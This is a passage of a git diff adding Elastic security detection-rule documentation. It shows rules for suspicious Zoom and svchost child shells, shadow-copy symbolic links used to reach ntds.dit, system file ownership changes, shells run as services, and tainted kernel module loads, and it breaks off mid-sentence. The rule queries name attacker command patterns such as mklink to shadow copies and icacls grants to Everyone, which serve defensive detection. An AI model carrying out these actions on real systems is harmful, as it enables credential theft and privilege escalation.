logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon + +*Version*: 422 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Zoom Child Process* + + +By examining the specific traits of Windows binaries -- such as process trees, command lines, network connections, registry modifications, and so on -- it's possible to establish a baseline of normal activity. Deviations from this baseline can indicate malicious activity, such as masquerading, and deserve further investigation. + +This rule identifies a potential malicious process masquerading as `Zoom.exe` or exploiting a vulnerability in the application causing it to execute code. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the command line of the child process to determine which commands or scripts were executed. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "Zoom.exe" and process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-svchost-spawning-cmd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-svchost-spawning-cmd.asciidoc new file mode 100644 index 0000000000..a6161e22fa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-svchost-spawning-cmd.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-svchost-spawning-cmd]] +=== Svchost spawning Cmd + +Identifies a suspicious parent child process relationship with cmd.exe descending from svchost.exe + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-system.security* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nasbench.medium.com/demystifying-the-svchost-exe-process-and-its-command-line-options-508e9114e747 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne + +*Version*: 427 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Svchost spawning Cmd* + + +The Service Host process (SvcHost) is a system process that can host one, or multiple, Windows services in the Windows NT family of operating systems. Note that `Svchost.exe` is reserved for use by the operating system and should not be used by non-Windows services. + +This rule looks for the creation of the `cmd.exe` process with `svchost.exe` as its parent process. This is an unusual behavior that can indicate the masquerading of a malicious process as `svchost.exe` or exploitation for privilege escalation. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and process.parent.name:svchost.exe and +process.name:(CMD.EXE or Cmd.exe or cmd.exe) and +process.command_line:(* and not "\"cmd.exe\" /C sc control hptpsmarthealthservice 211") and +not process.args:(".\inetsrv\iissetup.exe /keygen " or "C:\Program" or "C:\Program Files (x86)\Kaspersky Lab\NetworkAgent\klmover.exe" or "C:\Program Files (x86)\Sentry\SA\adluminupdater.exe" or "C:\Program Files\WinRAR" or "C:\Program Files\WinRAR\uninstall.exe" or "hpdiags://BatteryStatusTest" or hptpsmarthealthservice or icacls or taskkill or w32tm or *.BAT* or *.CMD* or *.bat* or *.cmd*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-symbolic-link-to-shadow-copy-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-symbolic-link-to-shadow-copy-created.asciidoc new file mode 100644 index 0000000000..609c7dac85 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-symbolic-link-to-shadow-copy-created.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-21-symbolic-link-to-shadow-copy-created]] +=== Symbolic Link to Shadow Copy Created + +Identifies the creation of symbolic links to a shadow copy. Symbolic links can be used to access files in the shadow copy, including sensitive files such as ntds.dit, System Boot Key and browser offline credentials. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mklink +* https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Kheirkhabarov_Hunting_for_Credentials_Dumping_in_Windows_Environment.pdf +* https://blog.netwrix.com/2021/11/30/extracting-password-hashes-from-the-ntds-dit-file/ +* https://www.hackingarticles.in/credential-dumping-ntds-dit/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 318 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Symbolic Link to Shadow Copy Created* + + +Shadow copies are backups or snapshots of an endpoint's files or volumes while they are in use. Adversaries may attempt to discover and create symbolic links to these shadow copies in order to copy sensitive information offline. If Active Directory (AD) is in use, often the ntds.dit file is a target as it contains password hashes, but an offline copy is needed to extract these hashes and potentially conduct lateral movement. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Determine if a volume shadow copy was recently created on this endpoint. +- Review privileges of the end user as this requires administrative access. +- Verify if the ntds.dit file was successfully copied and determine its copy destination. +- Investigate for registry SYSTEM file copies made recently or saved via Reg.exe. +- Investigate recent deletions of volume shadow copies. +- Identify other files potentially copied from volume shadow copy paths directly. + + +*False positive analysis* + + +- This rule should cause very few false positives. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Related rules* + + +- NTDS or SAM Database File Copied - 3bc6deaa-fbd4-433a-ae21-3e892f95624f + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the entire domain or the `krbtgt` user was compromised: + - Activate your incident response plan for total Active Directory compromise which should include, but not be limited to, a password reset (twice) of the `krbtgt` user. +- Locate and remove static files copied from volume shadow copies. +- Command-Line tool mklink should require administrative access by default unless in developer mode. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Ensure advanced audit policies for Windows are enabled, specifically: +Object Access policies https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4656[Event ID 4656] (Handle to an Object was Requested) + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +System Audit Policies > +Object Access > +Audit File System (Success,Failure) +Audit Handle Manipulation (Success,Failure) +``` + +This event will only trigger if symbolic links are created from a new process spawning cmd.exe or powershell.exe with the correct arguments. +Direct access to a shell and calling symbolic link creation tools will not generate an event matching this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (?process.pe.original_file_name in ("Cmd.Exe","PowerShell.EXE")) or + (process.name : ("cmd.exe", "powershell.exe")) + ) and + + /* Create Symbolic Link to Shadow Copies */ + process.args : ("*mklink*", "*SymbolicLink*") and process.command_line : ("*HarddiskVolumeShadowCopy*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Direct Volume Access +** ID: T1006 +** Reference URL: https://attack.mitre.org/techniques/T1006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-system-file-ownership-change.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-system-file-ownership-change.asciidoc new file mode 100644 index 0000000000..f4ddad2bd3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-system-file-ownership-change.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-system-file-ownership-change]] +=== System File Ownership Change + +Adversaries may modify file or directory ownership to evade access control lists (ACLs) and access protected files. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating System File Ownership Change* + + +Adversaries may modify file or directory ownership to evade access control lists (ACLs) and access protected files. + + +*Possible investigation steps* + + +- Assess the ownership target file or directory and identify if it's a system critical file. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- System updates, backup software and uninstallers tend to modify files ownership. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (process.name : "icacls.exe" and process.args : "/reset") or + (process.name : "takeown.exe" and process.args : "/f") or + (process.name : "icacls.exe" and process.args : "/grant" and process.args : "Everyone:F") + ) and + process.command_line : "*.exe *C:\\Windows\\*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Windows File and Directory Permissions Modification +** ID: T1222.001 +** Reference URL: https://attack.mitre.org/techniques/T1222/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-system-shells-via-services.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-system-shells-via-services.asciidoc new file mode 100644 index 0000000000..64a3497511 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-system-shells-via-services.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-21-system-shells-via-services]] +=== System Shells via Services + +Windows services typically run as SYSTEM and can be used as a privilege escalation opportunity. Malware or penetration testers may run a shell as a service to gain SYSTEM permissions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon + +*Version*: 421 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating System Shells via Services* + + +Attackers may configure existing services or create new ones to execute system shells to elevate their privileges from administrator to SYSTEM. They can also configure services to execute these shells with persistence payloads. + +This rule looks for system shells being spawned by `services.exe`, which is compatible with the above behavior. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify how the service was created or modified. Look for registry changes events or Windows events related to service activities (for example, 4697 and/or 7045). + - Examine the created and existent services, the executables or drivers referenced, and command line arguments for suspicious entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the referenced files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Check for commands executed under the spawned shell. + + +*False positive analysis* + + +- This activity should not happen legitimately. The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service or restore it to the original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "services.exe" and + process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") and + + /* Third party FP's */ + not process.args : "NVDisplay.ContainerLocalSystem" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-tainted-kernel-module-load.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-tainted-kernel-module-load.asciidoc new file mode 100644 index 0000000000..0e4eaa346c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-tainted-kernel-module-load.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-21-tainted-kernel-module-load]] +=== Tainted Kernel Module Load + +This rule monitors the syslog log file for messages related to instances of a tainted kernel module load. Rootkits often leverage kernel modules as their main defense evasion technique. Detecting tainted kernel module loads is crucial for ensuring system security and integrity, as malicious or unauthorized modules can compromise the kernel and lead to system vulnerabilities or unauthorized access. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Tainted Kernel Module Load* + + +Kernel modules extend the functionality of the Linux kernel, allowing dynamic loading of code. While beneficial, they can be exploited by adversaries to introduce malicious code, bypassing security measures. Attackers may load unsigned or improperly signed modules, leading to a "tainted" kernel state. The detection rule identifies such events by monitoring syslog for specific error messages, signaling potential unauthorized module loads, thus aiding in early threat detection and system integrity maintenance. + + +*Possible investigation steps* + + +- Review the syslog entries around the time of the alert to gather additional context and identify any other suspicious activities or related events. +- Investigate the specific kernel module mentioned in the syslog message to determine its origin, legitimacy, and whether it is expected on the system. +- Check the system for any recent changes or installations that could have introduced the unsigned or improperly signed module, including software updates or new applications. +- Analyze the system for signs of compromise, such as unexpected network connections, unusual process activity, or unauthorized user accounts, which may indicate a broader security incident. +- Consult with system administrators or relevant personnel to verify if the module load was authorized or part of a legitimate operation, and document any findings or justifications provided. + + +*False positive analysis* + + +- Custom kernel modules: Organizations often use custom or proprietary kernel modules that may not be signed. These can trigger false positives. To manage this, maintain a list of known, trusted custom modules and create exceptions for them in the monitoring system. +- Outdated or unsupported hardware drivers: Some older hardware drivers may not have signed modules, leading to false positives. Regularly update drivers and, if necessary, exclude specific drivers that are known to be safe but unsigned. +- Development and testing environments: In environments where kernel module development occurs, unsigned modules may be loaded frequently. Implement separate monitoring rules or exceptions for these environments to avoid unnecessary alerts. +- Vendor-provided modules: Certain vendors may provide modules that are not signed. Verify the legitimacy of these modules with the vendor and consider excluding them if they are confirmed to be safe. +- Temporary testing modules: During troubleshooting or testing, temporary modules might be loaded without proper signing. Ensure these are removed after testing and consider temporary exceptions during the testing phase. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Verify the integrity of the kernel and loaded modules by comparing them against known good versions or using a trusted baseline. +- Unload the suspicious kernel module if possible, and replace it with a verified, signed version to restore system integrity. +- Conduct a thorough forensic analysis of the affected 